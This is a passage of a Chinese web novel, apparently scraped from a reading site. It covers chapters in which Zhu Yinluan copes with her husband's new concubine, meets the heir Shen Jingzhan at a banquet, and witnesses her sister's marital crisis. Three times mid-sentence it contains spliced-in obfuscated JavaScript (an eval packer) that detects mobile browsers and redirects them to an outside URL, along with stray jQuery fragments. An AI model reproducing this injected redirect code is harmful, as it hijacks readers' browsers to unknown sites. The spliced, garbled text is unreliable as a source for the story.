何况这样不是很好吗?若是祝吟鸾闹,那场面才算是难堪,难以收场,祝吟鸾虽然无趣,却很贤良,知道进退,不会闹的。 “这是给你的礼,往后你我如同姐妹一般,你要好生伺候夫君,早日给卫家诞下后嗣。” “种月承蒙少夫人看重和照顾,一定不负您的嘱托。” “嗯。”祝吟鸾扯唇笑了一下。 她送完礼看向卫如琢,他却没瞧她,只嘱咐方种月,声音少见的温和。 这样的温和,祝吟鸾在前两年听得比较多,这些年他对着她很是冷漠。 如今再听他的关怀,竟觉得恍若隔世,避免不了的酸涩委屈,但还能忍受,毕竟她已然习惯了。 “跪久了膝盖疼。”卫如琢让她起来,方种月脸蛋羞涩红润。 祝吟鸾看见了也只当没有看见。 她垂眸掩下思绪,强迫自己不要表露出动静。 自然也就没看到卫如琢窥过来的余光。 “……” 庞氏听说了东院的事情很是满意,今儿对着祝吟鸾的脸色都好了不少,也给方种月送了见面礼,嘱咐的话跟祝吟鸾说的差不离。 卫如琢离开家中去办事,祝吟鸾带着方种月离开。 方种月还想在她身边伺候,祝吟鸾让她去休息。 “小姐,您做什么不留她在身边,好生立立规矩,就像之前夫人规训您那样……您如此好说话,就不怕她恃宠而骄,爬到您的脸上来么?”明芽提醒道。 “没有必要的。”祝吟鸾轻声。 当初她刚嫁进来,庞氏给她立了好几日的规矩,回想想都觉得累。 己所不欲,勿施于人,“她与我都是女子,何必互相为难?” “您好性子,奴婢只怕您被欺负。”明芽担心。“这小丫鬟可不安分。” “若是真有那一日,再见招拆招吧。”话又说回来。 方种月虽然有心往上爬,可祝吟鸾却总是觉得,方种月对她还算是敬重和畏惧的。 并不似在祝家见到的那些姨娘样式,随时想着冒犯主母,用尽心机取代。 这种感觉很是奇怪,可她又说不上来。 11. 第11章 或许她太累了出现错觉,亦或者明芽说得对,这日子还短,人都会伪装,且要历久了方才知道方种月的本性到底如何。 可如今的祝吟鸾什么都不想管了。 房姨也收了,就等着她的好消息吧,既然是小姑子卫清丝特意找的人,想必身子骨应当不错。 待孩子生下来,或许一切就好了… 前而忙碌的阵头过了之后,这些时日并没有做什么事,她只觉得心累,身子也疲倦,或许是因为病没有好全的缘故吧。 昨日一整夜未眠,家里近来没什么要忙的大事,除却家里小的姑子卫明烟送了帖子邀请她前去赏花吃酒之外,暂得清净,这局也是明日的局。 祝吟鸾去小憩了一会,怕又做什么不可收拾的乱七八糟的梦,她让明芽燃了一根安神香。 这一觉睡到了午后,起来预备用些吃食,却见那方种月也起来了。 她如今抬了房,虽然是个小的,可到底也算是家里的主子,却还总是跟着底下的小丫鬟忙来忙去。 内院伺候的人多是在祝吟鸾身边很久的了,知道她的性子,对她也很好,之所以不理方种月,任由她忙碌,想必也是要给她点下马威。 见状,祝吟鸾招手让方种月过来,叫她坐下。 “你用过午膳了吗?”她问。 方种月摇头。 “一会你跟我一道用午膳。” 方种月起身跪下,“奴婢虽然抬了房却也只是个丫鬟,怎么敢跟少夫人同席?” 祝吟鸾看着她,一时摸不清楚,她到底是恭顺还是以退为进的伪装? 过了一会,祝吟鸾笑道,“你心里存这样的念头很好,但你到底身份不同,不能让别人以为我们卫家没有规矩,也不好叫夫君和婆母知道我不疼你,所以你不要再做下人的活计,往日里只管歇着,好生保养身子,早些孕育后嗣才是重要的。” “昨儿拨给你的人想必不够,一会我让管事的妈妈带了小丫鬟过去,你自己挑几个合适眼缘的留在身边使唤吧。” 说完这番话,祝吟鸾又对着内院的小丫鬟们嘱咐道,“种月是家中的主子,日后不能让她做事,得尊着她,若有人不恭顺,我定然不会轻饶。” “是。”小丫鬟们纷纷福身。 经过祝吟鸾这一番话,方种月还是跟着祝吟鸾一道用了午膳。 两人席间没什么话说。 方种月倒是几次窥伺祝吟鸾的脸,可她神色自若,察觉了她的目光也没问。 用过午膳,祝吟鸾带着明芽去库房给小姑卫明烟挑上门的贺礼。 选定了一对青玉环佩,又挑了一个璎珞项圈,才让明芽包起来。 晚膳时分,卫如琢回来了。 远远见到祝吟鸾带着方种月迎他回来,恭顺柔和帮他卸斗篷换衣衫。 一副融洽和谐的后宅内院景象,他心里却高兴不起来。 尤其是对上祝吟鸾的那张脸,分明是鲜丽的,并不丑陋,几年过去了,她还是漂亮。 抛开一切的情意而言,祝吟鸾的相貌比她的长姐都还要出众许多,但祝吟鸾一点都不鲜活,少了女儿家的娇俏,自然也就无趣了。 今日也不知是怎么了,看着她这张柔顺一如往昔的脸蛋之时,卫如琢的心里总感觉有什么东西在悄然变化。 可具体是什么,他说不上来。 户部借调过去的公务即将忙完,尚书侍郎的大人们正在考纪功劳,今日晨起还特意提点了他。 眼看着晋升快要落实,合该是高兴的,可他对上祝吟鸾敛下睫的样子,却觉得心里空了一块。 是为什么?莫不是因为收了房姨,她吃醋了? 可卫如琢看不出来她有任何吃醋的动作意向,她沉默安顺。 同僚大人谈论起后宅都说女子难缠,可卫如琢却从来没有这样的感受。 思来想去,或许还是因为收房的缘故吧,前两年他和祝吟鸾情意深入,他会跟她说话,她也会向他袒露为数不多的烦恼——忧心子嗣。 他安慰她不必慌张,也说了他不会纳妾。 可如今还是纳了,但到底是为了家里的承嗣大事。 净手用膳,她没有多说一句话。 方种月原是在旁边伺候,祝吟鸾让她坐下,她看了眼卫如琢,见男人点头,便顺从坐下。 期间谁都没有张口。 卫如琢罕见觉得太沉默。 他看向祝吟鸾,她吃得很慢,对了,前些时日她病了,是不是还没有好全,或许可以问问。 如此想着,便也问了。 祝吟鸾似乎很意外,她道差不多好全了,多谢他的关怀。 就这一句,难以接下文。 她难道没有懂他的关怀意思吗? 即便是不悦,也要懂得适可而止,又是当着小丫鬟和新姨娘的面,卫如琢只是看了祝吟鸾一眼,再没有问了。 今夜,卫如琢又是歇在东院。 祝吟鸾再也不想彻夜未眠,明日还要出门,她让明芽点安神香。 明芽给她掩着被褥,轻声道,“小姐,您若是心里难过便哭出来吧,奴婢给您拧帕子,哭哭心里就好多了。” 祝吟鸾摇头,“没事。” 她昨日哭不出来,今日也不会哭。 “那您……” “放心吧,若有事我会与你说的。” “好吧。”明芽放下幔帐。 今夜勉强睡了过去。 翌日一早,祝吟鸾用过早膳便出了门。 帖子上邀约的是两个人,但卫如琢忙碌,说朝廷公务收尾,万不能缺了空,便只备了礼让她带过来,又叫她道不是,并非故意不来。 摩挲着卫如琢叫人备办的礼,祝吟鸾不禁想到她的生辰礼,时至今日,她也没有收到卫如琢说要送她的东西,他已经彻彻底底忘记了。 “……” 卫明烟跟祝吟鸾关系好,有了身孕也要到门口接她。 老远看到卫家的马车,便挥着手叫嫂嫂。 “你有了身孕,不应该到外头迎我的。”祝吟鸾把礼递给一旁的小丫鬟,扶着卫明烟看她的身子。 这是她怀的第二胎,四个月了,小腹已经微微显怀。 “过了头三月,郎中说不碍事,嫂嫂太紧张了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241271|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过这也是嫂嫂待我好。”卫明烟挽着祝吟鸾,朝她笑。 祝吟鸾问她近况如何,她都一一道好,让祝吟鸾别担心。 卫明烟跟她的夫郎算是青梅竹马,祝吟鸾自然不担心。 “嫂嫂,我听下面的人说,姐姐回家中探望母亲时带了一个小丫鬟过去?” “嗯,你哥哥已经收了房。” “嫂嫂你怎么不拦着?”卫明烟很是着急,跺脚骂了卫清丝几句。 “哥哥也真是的,嫂嫂你这样好,他还要收个小的,真是身在福中不知福!” 说实话,这件事情卫明烟早就知道了,她今儿设宴特意往家里递帖子,就是为了让祝吟鸾过来,宽解宽解她的心绪。 在她眼里,祝吟鸾善解人意,柔美大方,时常能够聆听她的心事,与她闲话玩乐,还会为她指点迷津,简直宛如她的手帕交。 她自然不乐意祝吟鸾难受。 可她到底嫁出去了,又是家里最小的,不好指手画脚哥哥姐姐们的事情,嚷起来母亲也不站在她这边,实在没法子。 祝吟鸾听罢她的话,就是笑了笑,让她当心肚子。 “嫂嫂若你有何处不愉悦,只管与我说,若是哥哥欺负你,你也同我讲,我必然站在你这边。” “好。”祝吟鸾露出一个近来最轻松的笑容。 卫家的攀升不仅仅与卫如琢一人有关,卫家两个女儿都嫁得不错,尤其是小的这个卫明烟,她的夫郎如今的职位任在光禄寺司卿,还要高过卫如琢,前途也好。 是以,明烟办宴请客,来的人不少,达官显贵的大人贵眷都到了。 “嫂嫂你有事不要憋在心里,我瞧着你瘦了不少,病了还没好全吗?”卫明烟叽叽喳喳,说是她叫人从库房里找了千年的人参出来,让祝吟鸾带回去煎药膳吃,好生补一补。 入了正花厅,卫明烟引她坐下后,还得去接待旁余的夫人。 祝吟鸾兀自吃了几块糕点以后,便有人瞧见她来跟她说话。 来的这几个人与卫清丝交好,提到卫明烟又有身孕之时,不免阴阳祝吟鸾几句。 一番应付下来,祝吟鸾不大爽快,她便接着更衣的名头带着明芽绕去了后厅,这边比前面更安静,还有新开的明台金盏,被匠人们打理得煞是漂亮,旁边就是莲池,有红鲤摆尾。 原想去喂一喂,可放置鱼食的盒子空了,明芽给她披上斗篷以后便去拿鱼食。 祝吟鸾看着莲池,留意到有一尾红鲤鱼似乎是跃石台时卡在了假石的缝隙里,正苦苦摆着尾巴,可怜兮兮挣扎着。 她从旁边四处寻找,可算是捡了一根枯枝去解救红鲤。 那红鲤吃得太胖,枯枝又脆又细,她拨了好几个来回还是没能将它挑起来,眼看着就差那么一点点,祝吟鸾身子越发往前够去。 谁知不防备,脚底滑了,就要栽入莲池。 落空失重感袭来,她啊呀一声,吓得闭上了眼睛,小脸皱成一团,心想着不好。 可谁知竟被人拽了手腕拉了回来。 慌忙之中,她的脚踩到了地上,却也被人揽着腰肢给抱到了怀中。 12.第12章 祝吟鸾惊魂未定到张着檀口喘着呼吸。 她脑袋往后,小脸仰着,就这样被迫看清了男人的脸。 “……” 眼前的男人眉眼如画,丰神朗逸。 他生得……好俊。 好似神台君子,清冷不似凡尘中人,可他揽着她的腰肢,臂膀大掌之下,隔着薄薄的衣衫,她能够感受到男人掌心的温热。 若是神台君子理应无欲无求,不该有人的温热。 祝吟鸾回神挣脱之前,对方先一步松开她,拉开了两人之间的距离。 “适才眼疾手快,抱歉唐突了娘子。”他的声音温润,几乎叫祝吟鸾瞬间想起来在什么地方听过。 京西巷子,申家药堂。 是他……? 侯府世子。 上一次没有看清楚沈景湛的长相,只窥见一个背影,这一次可是实实在在打了一个照面。 祝吟鸾砰跳的心暂且没有回稳。 她少见的磕绊,“无、无碍。” 话落之后觉得自己实在太过失礼,便又再次道谢,说了一袭漂亮话。 不知道为何,站在沈景湛旁边之时,她竟有些无端的慌怕和紧张。 或许是因为他多次对她施以援手?且两人方才的动作不知道有没有人看见,比较担心。 到底还是在别人家的府上做客,人多眼杂,祝吟鸾借着整理裙摆的动作左右看了看,并未看到有任何人过来。 眼旁风扫到旁边,发觉沈景湛靠近莲池,手拿枯枝俯身,那被困在石台缝隙之上的红鲤就这么轻而易举被他解救了出来。 祝吟鸾的目光不自觉落到他的身上。 眼前的男人侧脸如玉,一身月色锦跑勾勒出颀长身姿,一举一动尽显世家公子风范。 更诡异的是,她觉得沈景湛给她一股莫名其妙的熟悉感,可又无从捕捉。 为了摸透这股感觉从何而来,祝吟鸾一时看住了。 沈景湛立稳身子以后,察觉到她的目光看了过来,朗声问她可还有旁的事情? 说什么有旁的事情,无非就是侧面在问她为何要这样看着他。 祝吟鸾连忙撇开视线,眼睫颇为不自然颤粟,“没……没什么事。” 可她不知道,在她收回视线转眼过去之时,男人脸上的清润掩了大半下去,盯着她侧脸的眼眸渐渐深郁。 “还是要多谢沈世子的援手。”她咬着唇瓣,想要尽量抿下尴尬。 却忽听得旁边人一声轻笑。 他的笑声并不叫人觉得轻浮,反而低沉好听。 “不过是件举手之劳的小事,娘子已与我说了好几声谢了。” 既然话都说到这里,也为了缓和话茬的尴尬,祝吟鸾提起前些时日的搭救。 “那玉轮我今日没带在身上,改日与戏班牌子以及龙涎香一道还给您。” 听到一个您字,沈景湛的眉梢几不可查挑了一下。 他道,“送出去的东西,岂有收回来之礼,况且娘子并非空手白拿我的东西。” 玉轮和戏牌的确不算“白拿”,可那龙涎香却是…… 她方才要开口,身侧的男人却好似猜到她要说些什么。 “龙涎香虽然贵重,但总放在库房也是可惜,既能够治病救人,那也算物尽其用再好不过了。” 祝吟鸾听着他说的这句话颇为震撼。 京城的权贵自恃权柄在手,哪个好接近好相与? 便说是她常年打交道的后宅妇人,即便没有挤入京城高门世家行列,也仗着夫家立足京城谋得京官,个个趾高气昂。 后宅倚靠郎君的妇人尚且如此,更不要提前院主事的男人了。 卫如琢谋事晋升无望,四处碰壁的那两年,跟她说的话也多,他常常道官场难混,到底要看门庭,卫家寥落,没几个人瞧得上他,时常冷言冷语相对,是这一年来才渐渐受人尊敬抬举。 这位侯府世子,她早就听说过其威名。 听说他出生之时便被定为侯府世子,年少高中被提拔到御前,惊才绝艳之下又是这样的玉郎长相,如此天之骄子,世间之物与他只怕唾手可得。 本以为他会高高在上不可攀附,没想到竟如此温润有礼,平易近人? “…话虽如此,到底不合规矩。” “娘子注重分寸礼仪,我自然能够理解,若是归还此物能够让娘子心中宽泛,那便依娘子所言吧。” “日后若有机会,娘子携礼,再行归还就是了。”他不仅没有高门公子的架子,更周到细致,令人如沐春风。 祝吟鸾应下话茬,却再也没有多说,她思忖着要不要辞别。 忽而听得脚步声靠近,是明芽,她拿了鱼食回来了。 祝吟鸾在想若是名芽问起该如何解释旁边出现的人。 可转头看去,哪里还有男人的身影。 他真是来无影去无踪。 神秘之余,却也节省了不少的麻烦。 “小姐您在看什么?”明芽发现她走神,询问道。 祝吟鸾摇头,“没有……”她自然不会提起这件事情。 喂了一会鱼食,祝吟鸾带着明芽离开,临走之前她左右看了看,并没有瞧见沈景湛的身影。 在她走后,男人方才带着随从出现,看着她离开的方向,“……” “嫂嫂你刚才去哪了?”卫明烟没瞧见祝吟鸾,还以为她回了呢,但转念想想不太可能,祝吟鸾就算是要走,也会派人跟她说一声。 “去后厅逛了逛。”卫明烟的第一个孩子被小丫鬟给牵过来了。 祝吟鸾逗着他玩了一会,孩子还小,性子又腼腆,话没几句,也不好逗得太过。 祝吟鸾想起方才的事情,又回忆起之前的几桩事情,不免觉得巧合。 为什么总是频频遇到这位沈世子呢? 虽然他为人不错,可祝吟鸾却放心不下这几次遇到的巧合。 她佯装不经意问道,“适才我听人说沈家的人也来了?” 卫明烟挑眉,压低声音,“嫂嫂你想问的是不是那位侯府世子沈景湛?” 祝吟鸾心神一跳,不知怎么的竟然被卫明烟给看出来了,可又不敢轻举妄动,害怕说错话,只是点了点头。 沈景湛在京城声名显赫,打听他的人可太多了。 卫明烟道她的夫郎主管祭祀朝会等事宜,自然涉猎高门世家的人脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246287|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以沈家的人会来。 卫明烟还告诉祝吟鸾,方才她的郎君没跟她一道去门口迎接,就是因为在书房接待高门世家的人,其中就有沈世子。 “这是颜面。”祝吟鸾笑了笑。 听罢,也放下心来,回想起来又觉得她实在多疑了。 她都成婚几年了,这位沈世子怎么可能会对她有什么筹谋? 除此之外,祝、卫两家并没有什么值得沈家接近的。 许久是沈世子为人乐善好施吧,她不好因为身份有别而恶意揣测对方的用心,这样着实不太好。 没一会,席面启开了。 男女不能同席,用了几架大的四面屏风在中间分列隔绝。 绕是如此,也能够看到隔壁席面的人影绰约。 为首的席桌,便是京城顶级世家所坐之处。 祝吟鸾用膳期间一直听到旁边的女眷窃窃私语,她们说今日来的郎君都有哪些,其中三句不离沈景湛。 还说若是知道今日沈景湛会来,合该换一身鲜亮的石榴裙,簪更华丽的珠钗,不应该如此寒酸。 “沈世子早已到了弱冠之年,听说沈家老夫人正在朝中为他挑选适龄姑娘呢,也不知道谁家的贵女能够有如此好命。” “奉安公主有意沈世子,陛下会不会赐婚于两人啊?” “奉安公主私下养了那么多面首,沈世子怎么可能瞧得上她?” “纵然瞧不上,到底也是公主,岂是我等可以攀比的?” “无非是投了一个好胎而已……”公然议论皇亲国戚未免落人口舌。 这名女子的话还没说完就被人撞了撞手腕,眼神示意不要继续说了,那奉安公主可不是好惹的。 女子虽然收敛没有再提奉安公主,但还是绕在这个话茬上,一直议论着沈景湛的婚事。 卫明烟巡视一圈之后,坐到祝吟鸾身侧,也笑着和她低声讨论,问她觉得哪家贵女会摘下这轮上京明月? 祝吟鸾如实摇头,“我不知道。” “嫂嫂你猜猜看嘛,外头人都在说这件事情,咱们也可以议论议论。” “或许是……哪家高门贵女吧。”沈家是高门,自然要找个门当户对的了。 祝吟鸾这话说了就跟没说一样,卫明烟道,“我猜测可能是姚家的大小姐。” “姚家?”那似乎是太尉的女儿吧? “对。” “沈老夫人卧病在床,姚家大小姐姚姿可没少上门沈家门。” “这一来二去,只怕私下都敲定了吧,对了,姚太尉还是沈世子的老师呢,跟姚小姐也算是青梅竹马了。” 青梅竹马? 祝吟鸾慢慢咀嚼着饭菜,品着这四个字。 前几年为除旧弊,姚太尉还向当今陛下推崇了梵昌新.政,也正是因为此政推崇,才让卫如琢借势乘风,从典史一职脱身。 姚太尉为国为民,是人人称赞的好官,沈景湛师从于太尉,难怪会说出龙涎香价贵也无碍,治病救人更要紧的话来。 思及此,不免想到方才偶遇的事,她往屏风那地方看了一眼。 不知是不是她的晃眼,怎么感觉对上了沈景湛的视线? 13.第13章 祝吟鸾定睛一看,沈景湛并没有往这边看,他只是侧身接过旁边人敬他的酒盏而已。 是她隔着屏风,看过去的视线归于朦胧,瞧错了。 也是,沈景湛怎么可能会看过来这边。 适才的事情不过就是一个小小插曲而已。 祝吟鸾压下心头疑虑,低头接着用膳,专心听卫明烟说话。 临别之前,卫明烟给祝吟鸾送了不少补品和料子,又宽慰了她好些话。 马车方才离开,驶入巷子后被人追上拦下。 明芽隔着车帘低声道,“小姐,是卢府的小丫鬟。”卢府是卫明烟的夫家。 “什么?” 祝吟鸾疑问心起,刚撩开车帘看过去,只见对方离开的背影。 “小姐,这是对方送来的锦盒,说是您遗落在府上的物件。” 祝吟鸾接过锦盒。 她打开之后发现是她悬挂在腰间的荷包坠珠链子。 什么时候掉的?总不会是掉在席间。 若是掉在席间,出门之时,卫明烟为何不拿给她,还要派人送来? 何况这荷包坠珠链子并不算特别贵重,上面又没刻字,卫明烟如何知道是她的物件? 难不成是在□□院看鲤鱼的时候掉的? 若真是在那时候掉的,便也就说得通了。 可若是那时候掉的,这捡到的人不言而喻了。 是他…… 既然是他的话,归还的人也是他了? 虽然担心名声,可一想到沈景湛上佳的为人处事,她无端放下心来。 “小姐,是什么东西啊?”明芽问。 “没什么,就是随身的荷包坠珠链,适才不小心掉了。”她没有再多看,关上锦盒,放到另外一边。 “原来如此。”明芽再没多问。 与此同时,正在往反方向驶离的沈家马车。 男人姿态慵懒,好整以暇摩挲着掌中真正的原本归属于女子的荷包坠珠链。 回想她今日看着他时骤然放大的水瞳。 说她是只受惊的兔子,真没说错… 祝吟鸾还没有回到卫家,就在门口撞到了前来请她的婆子。 又是那一番说辞,说长姐跟骆暄吵起来了,让她去看看。 若是之前,祝吟鸾可能会去,可今儿她心绪不错,不想被打搅,便推说身子不好,等明日再去。 那婆子不依不饶,“三小姐,您这次不去可不行。” 她凑过来祝吟鸾耳畔,“大小姐和姑爷闹的不可开交,正嚷嚷着要和离呢!” 听到和离两个字,祝吟鸾虽然诧异,但也还是绕弯子说不去。 她觉得这是气话,当初骆暄对长姐一见钟情,费了很大功夫讨得姐姐欢心,就算是真的厌恶了,也要看在祝家的面上顾及良多,不可能和离。 可婆子拽着她非要让她去,还说这次真的要和离了,两人闹得不可开交。 见祝吟鸾犹豫推脱,她又凑过来说了一句话。 祝吟鸾听罢,整个人震惊不已。 “这……怎么可能?” 过去骆府的路上,祝吟鸾在想她到了之后应当如何处理? 她还能如何处理,这到底是姐姐的家世,她做妹妹的,如何能够跑到姐姐夫家指手画脚。 “没告诉母亲么?”她问婆子。 婆子道,“原是要去说的,可夫人走国公府赴宴去了,此刻定然还在国公府上。” “二哥哥呢?”她又问。 “二公子随着大人去拜访冯将军去了,一时半会回不来。” 家里能找的人找不到,这才来叫她了。 否则出了这样天大的事情,婆子为何不先回家搬救兵呢? 她明明知道自己和长姐的关系不怎么好。 “三小姐,您一个人去成不成,要不然派人传消息给姑爷吧?” 这是要把卫如琢也给叫回来? 祝吟鸾拒绝道,“今日夫君出门之时说了有要紧事,便是他小妹设宴都没去,这边恐怕也来不了。” 婆子嘀嘀咕咕,“大小姐出了这样的事情,卫大人指不定会来呢,毕竟……” 祝吟鸾听得心中不满,很想质问这婆子毕竟什么? 这些都是过去的事情了,真要为祝家和卫家,骆家的名声着想,她也应该清楚什么话该说,什么话不该说…… 可顾忌着这个婆子是嫡母朱夫人身边伺候的,她不能如此。 便只能强忍下心中不快,什么都没说,只闭上了眼睛。 婆子见状,撇了撇嘴,“……” 快到骆家之时,那婆子还是偷偷派人去告知卫如琢。 进入骆家正厅那会,看到站在正中央牵着一个孩子的女人样貌,祝吟鸾吓了一跳。 这人与长姐生得很相似…… 不,准确来说,应当是长姐与她相似。 这是骆暄念念不忘的白明月吗? “小妹,你来得正好,你来为我评评理,他这样对我,到底是不是人!”祝沉檀又是哭着的,这一次她起身拽了祝吟鸾过来,让她帮她出头。 祝吟鸾也是尴尬,她先跟满头烦躁的骆暄见了礼数,这才站到祝沉檀身边安抚。 站在正厅中.央领着孩子的女人还没有身份,她向祝吟鸾行礼,祝吟鸾淡淡颔首,视线掠过女子所护的孩子。 年岁看起来有些大了,胆子很小,一双眼睛骨碌碌看着祝吟鸾,瞧着和骆暄的确有些许像。 骆暄捏着眉心,听着祝沉檀哭诉,他想让堂中人坐下,可祝沉檀不让,还要把人给赶出去。 祝吟鸾安抚着她的情绪,让她有话好好说,这中间指不定有什么误会? 祝沉檀哭哭啼啼不休,“什么误会!你到底是我妹妹还是她的妹妹?你是来帮我的吗?” 祝吟鸾也是头疼,这大哭大闹能解决什么问题?不过是徒费心神而已。 可她也不知该如何,长姐是被嫡母和父亲惯坏了,在家中便是如此,但凡不顺心意,便闹而不休,非要称了她的心思,她才会安静下来。 祝吟鸾在她身边小声哄着,说如此哭下去伤眼睛,败了好容色,叫人看她世家贵女的笑话,传出去更是不得了。 祝沉檀应当是听进去一些了,勉强收了声音。 好一会,骆暄正打算开口,外面的小丫鬟传话,说骆夫人过来了。 闻言,祝沉檀彻底收声,也随着骆暄站了起来。 一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253276|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人给骆夫人行礼问安。 “这到底怎么回事?”骆夫人看了看祝沉檀哭红的眼睛。 祝吟鸾明显瞧见了她强压之下的不喜,可长姐情绪失控,似乎没看出来,“……” “婆母,您可要为我做主啊。”祝沉檀也没计较怎么就惊动了骆夫人,她上前便是告状,说骆暄在外养人,这女子早便跟了他,在她还没有嫁进来之前,两人竟然已经有了孩子,如今都领到家里来了! “瞧你干的好事!”骆夫人听罢,一个巴掌甩到了骆暄的脸上。 祝吟鸾连忙垂下眼睛,降低自己的存在感。 这看长姐的家私内事,她如同来时所想的尴尬,更没想到骆夫人直接当着她这个小姨子的面便上手打人了。 那女子见骆暄被打,想要上前,骆暄给她递了一个眼神,让她不要过来也不要出声。 见两人眉来眼去,祝沉檀心里的气更浓郁了。 “你怎么能够做出这样对不起沉檀的事情?她嫁入我们骆家三年多快要四年了,往日里勤谨恭顺,大度容人,接管内宅将家里一切治理得紧紧有条,你这样做对得起她吗?还记不记得你当年迎她入门之时究竟是怎么对她说……” 骆夫人指着骆暄的头噼里啪啦说了一大堆。 祝吟鸾也在旁边听着。 这恐怕就是“唬人”的话而已,至于唬谁?当然是她的长姐了。 看似为长姐出头,实际上也是“捧杀”,先把她给架起来,打个好开头。 尤其是骆夫人所说勤谨恭顺,大度容人几个字,尤其讽刺。 先借着打压骆暄的名义哄了长姐,一会再给她施压。 婆媳相处十几年,她知道长姐好面子,当着这么多人训斥骆暄,也是为了给她找场子。 但这颗“糖”下来之后,便是“巴掌”了。 祝吟鸾心里盘算得没有一点错,骆夫人说了骆暄一顿之后,转头对着祝沉檀道,“这件事情是他的错,婆母已替你训了他,日后再不会有这样的事情。” “眼下错已经酿成,这……孩子都生下来了,到底是我们骆家的血脉,你看……你先前伤了身子,这么多年膝下也寂寞,不如把人放到你房里养着,日后——” 祝沉檀听出来骆夫人的主意,她方才被骆夫人哄得太好,骄纵气上来了,甚至没有等骆夫人说完,迅速回绝道,“不可能!” 她话还说得很难听,称呼这个孩子为野种。 这句话一出,众人的脸色都不太好看。 尤其是骆夫人。 之前强压下去的不喜渐渐浮出来一些,祝吟鸾看得分明。 祝沉檀定然也是瞧见了,可她自幼受宠爱,哪里肯低头,“让这个野种和女人进入骆家,除非我死了!” 祝吟鸾看骆夫人和骆暄的脸色都不好看,那个孩子扑到女人怀里躲避,骆暄的眼神也落到了女人身上。 她上前一步,“长姐,你有话好好说。” 可祝沉檀不领情,“滚开。” “你既不是来帮我,就不要说话!” 祝吟鸾只好沉默。 骆夫人开始发威了。 她看着祝沉檀的脸,冷声笑道,“这就是世族祝家悉心培养出来的嫡长女?” 14.第14章 骆家的门庭在一开始就是高过祝家的,虽说现如今祝家嫡子虽然已经入仕,势头不可估量,但有句话说得好啊,瘦死的骆驼比马大。 骆家的底气仍在,骆夫人这句话便也算是掷地有声了。 祝沉檀在一瞬间被唬住。 骆夫人接着训斥她道,“张口闭口都是野种,这便是祝家嫡长女的好教养?” “可这是骆暄的错!”祝沉檀很委屈,尤其是看到骆暄护着那个女人,他眼里的担忧令祝沉檀无比火大,她简直无法控制自己。 “不管是谁的错,这都不是你顶撞忤逆婆母的借口。” 哄劝已经降服不住祝沉檀,骆夫人开始施压。 当着众人的面,祝沉檀只觉得没脸,却又不敢多吭声。 她可以跟骆暄闹,却不敢过分同骆夫人抬杠,尤其此刻祝家说得上话的人还没来。 来是来了个祝吟鸾,但是顶什么用呢? 心里憋着一口气,祝沉檀只能瞪祝吟鸾一眼,恨她一言不发,也不知道劝慰她。 察觉到自家长姐的怒气,祝吟鸾一句话都没说,只装看不到。 骆家在祝家之上,若是这会她帮着长姐顶嘴,骆夫人或许不会训斥她,但若是找到她的婆母庞氏,那可有的苦吃。 她如今不张口就是最好的,她这位小姨子在,骆夫人就算是训斥,也会顾忌一二,想必三两句敲打也就够了,这件事情算起来,还是骆暄处事混账。 “你出嫁之前,祝夫人祝大人没教过你要归顺夫家,孝敬公婆吗?往日里你要怎么闹,我都由着你,如今……” 祝吟鸾没想到,骆夫人这一数落竟然没有收住。 想必是往日里对祝沉檀的隐忍太多了,一张口便没压抑,直到旁边的婆子喊了骆夫人,提醒她道祝家的人上门来了。 她方才停住。 祝吟鸾的视线往外看去,只见她的嫡母带着身边的婆子走了进来。 她出行其实很少带太多人,可如今却搞上了排场,想必是为了给长姐撑腰。 “骆家还真是热闹啊。” 朱夫人过来的时候应当是听到了一些话,此刻脸色不好看,说话也没太好听。 骆夫人面色浮现些许尴尬,迎了上去,笑问,“亲家母何时来的,怎么不提前叫人通传?家里的丫鬟也不知道是做什么吃的,真是没有规矩!” 说这话的时候,眼神扫过一旁全堵在这边的下人们。 表面说下人,背地却是在指桑骂槐。 祝吟鸾低眉顺眼给朱夫人行礼问安。 朱夫人扫了她一眼,祝沉檀见救星来了,连忙扑到她的怀中,哭着叫母亲,朱夫人抱着爱女轻哄,又说嫁进来的时候好好的,如今怎么成这样了,让骆暄给她一个交代。 祝吟鸾在旁边看着,不知道有多羡慕。 她羡慕长姐有人疼,有人护,她从来没有……所言所行都要自己钻营,虽然已经习以为常,却还是不可避免的难过。 “……” 朱夫人来了以后,骆家正厅被清了场子,除却心腹丫鬟,闲杂人等都被请了出去。 厅内的氛围不怎么好。 是关于女人和孩子的去留。 长姐之前有孕却没保住,伤了身子养了许久,如今刚准备再要孩子,却出这一档子事情。 长姐不让这个孩子和女人留下,朱夫人也顺着她的心意,跟骆夫人辩驳。 骆夫人说女人可以走但孩子不许,毕竟是家里的血脉。 